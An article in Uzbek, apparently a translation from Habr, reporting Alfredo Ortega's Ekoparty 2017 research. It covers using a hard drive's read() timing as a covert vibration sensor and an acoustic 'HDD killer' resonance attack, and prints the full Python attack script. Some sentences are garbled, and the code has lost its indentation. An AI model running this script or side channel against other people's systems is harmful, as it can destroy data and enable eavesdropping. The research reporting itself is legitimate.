
Buenos-Ayresda bo‘lib o‘tgan Ekoparty 2017 kompyuter xavfsizligi konferensiyasida argentinalik xaker Alfredo Ortega juda qiziqarli ishlanmani – mikrofondan foydalanmasdan binolarni yashirin tinglash tizimini namoyish etdi. Ovoz !
HDD asosan yuqori intensivlikdagi past chastotali tovushlarni, qadam tovushlarini va boshqa tebranishlarni qabul qiladi. Inson nutqini hali tanib bo'lmaydi, garchi olimlar (masalan, giroskop yoki HDD dan yozib olingan past chastotali tebranishlar orqali nutqni aniqlash).
Ovoz - bu havo yoki boshqa vositaning tebranishi. Inson ularni tebranishlarni ichki quloqqa uzatuvchi quloq pardasi orqali qabul qiladi. Mikrofon taxminan quloq kabi tuzilgan - bu erda ham tebranishlar elektr impulsini qo'zg'atuvchi nozik membrana tomonidan qayd etiladi. Qattiq disk, albatta, atrofdagi havodagi tebranishlar tufayli mikroskopik tebranishlarga ham duchor bo'ladi. Bu hatto HDD-larning texnik xususiyatlaridan ham ma'lum: ishlab chiqaruvchilar odatda maksimal ruxsat etilgan tebranish darajasini ko'rsatadilar va qattiq diskning o'zi ko'pincha uni rezina yoki boshqa izolyatsion materialdan yasalgan tebranishga chidamli idishga joylashtirishga harakat qiladi. Shundan kelib chiqib, HDD yordamida tovushlarni yozib olish mumkin degan xulosaga kelish oson. Qolgan narsa - qanday qilib buni aniqlash.
Alfredo Ortega yon kanalli hujumning o'ziga xos versiyasini, ya'ni vaqtli hujumni taklif qildi. Ushbu hujum, berilgan kirish ma'lumotlariga qarab, qurilmada turli xil operatsiyalar turli vaqtlarda amalga oshiriladi degan taxminga asoslanadi. Bunday holda, "kirish ma'lumotlari" atrof-muhitning tebranishlari, ya'ni tovush bilan bog'liq bo'lgan o'qish boshi va HDD plastinasining tebranishlaridir. Shunday qilib, hisoblash vaqtini o'lchash va ma'lumotlarning statistik tahlilini o'tkazish orqali bosh/plastinkaning tebranishlarini va shuning uchun muhitning tebranishlarini o'lchash mumkin. Ma'lumotni o'qishdagi kechikish qanchalik uzoq bo'lsa, HDD tebranishlari shunchalik kuchli bo'ladi va shuning uchun ovoz balandroq bo'ladi.
Qattiq disk tebranishini qanday o'lchash mumkin? Juda oddiy: shunchaki tizim chaqiruvini ishga tushiring read () — va bajarish uchun ketadigan vaqtni yozib oling. Zamonaviy operatsion tizimlar nanosekundlik aniqlik bilan tizim qo'ng'iroqlari vaqtini o'qish imkonini beradi.
Sektordan ma'lumotni o'qish tezligi HDD korpusining tebranishlari bilan bog'liq bo'lgan bosh va plastinaning holatiga bog'liq. Ana xolos.
Statistik tahlil oddiy Kscope yordam dasturi yordamida amalga oshiriladi. Ular aytganidek, mohir hamma narsa oddiy.

Kscope yordam dasturi (stat() syscall)
Kscope - bu tizim chaqiruvlarini bajarish vaqtlaridagi kichik farqlarni ko'rish uchun kichik yordamchi dastur. Manba kodi.
Alohida omborda qattiq diskda vaqtli hujum uchun tuzilgan, ya'ni tizim chaqiruvini tahlil qilish uchun sozlangan yordam dasturining versiyasi mavjud. read ().
HDD yordamida ovoz yozishni namoyish qilish, Kscope yordam dasturining ishlashi

Albatta, nutqni bu tarzda tushunish mumkin emas, lekin HDD tebranish sensori sifatida juda mos keladi. Masalan, qattiq poyabzal kiygan yoki yalangoyoq odam kompyuter bilan xonaga kirgan bo'lsa, ro'yxatdan o'tishingiz mumkin (ehtimol, agar tajovuzkor yumshoq krossovka kiygan bo'lsa yoki polda qalin gilam bo'lsa, HDD tebranishlarni qayd eta olmaydi - Bu tekshirishga arziydi). Kompyuter singan oynani yoki kuchli ovoz intensivligi bo'lgan boshqa hodisalarni qayd eta oladi. Ya'ni, qattiq disk o'ziga xos ruxsatsiz kirishni aniqlash tizimi sifatida xizmat qilishi mumkin.
HDD qotil
Aytgancha, shunga o'xshash usul qattiq disklarni o'chirish uchun ham qo'llanilishi mumkin. Biroq, bu yerda biz HDD dan tebranishlarni yozib olmaymiz, balki HDD ga uzatiladigan tebranishlarni yaratamiz. Agar siz karnaydan HDD chastotasi bilan rezonanslashadigan chastotada audio ijro etsangiz, tizim tez orada qurilmani (yadroni) kirish/chiqish xatosi bilan o'chiradi. Linux (Bu 120 soniyadan so'ng HDDni butunlay o'chiradi.) Qattiq diskning o'zi qaytarib bo'lmaydigan darajada shikastlanishi mumkin.

asosiy Linux Edifier r19u USB karnayi orqali rezonans chastotada ovoz 120 soniya davomida ijro etilgandan so'ng, qattiq disk o'chib qoldi. Karnay quvvatining taxminan to'rtdan bir qismida (100 mVt dan kam) yoqilgan va tebranishlarni kuchaytirish uchun HDD dan 20 sm masofada stolga qaratilgan. Hali ham HDD qotilining namoyishi bilan
Shunisi qiziqki, HDD-larga bunday "hujumlar" ba'zan kundalik hayotda tasodifan sodir bo'ladi. Misol uchun, 2016 yil sentyabr oyida ING Bank ma'lumotlar markazi yong'inga qarshi mashg'ulotdan so'ng o'z faoliyatini 10 soatga to'xtatishga majbur bo'ldi. yuqori bosim ostida silindrlardan chiqayotgan inert gazning baland ovozi tufayli. Ovoz juda baland edi (130 dB dan ortiq), lekin siz qattiq disklarga ham baqirolmaysiz - bu HDDga kirishda kechikishni oshiradi.
Ma'lumotlar markazidagi qattiq disklarda odamning qichqirig'i namoyishi. Kechikishni o'lchash

Rezonansli tovushni yaratish uchun Alfredo Ortega Python skriptini yozdi ().
Bu juda kichik, shuning uchun uni to'liq bu yerda nashr qilishingiz mumkin.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Manba: www.habr.com
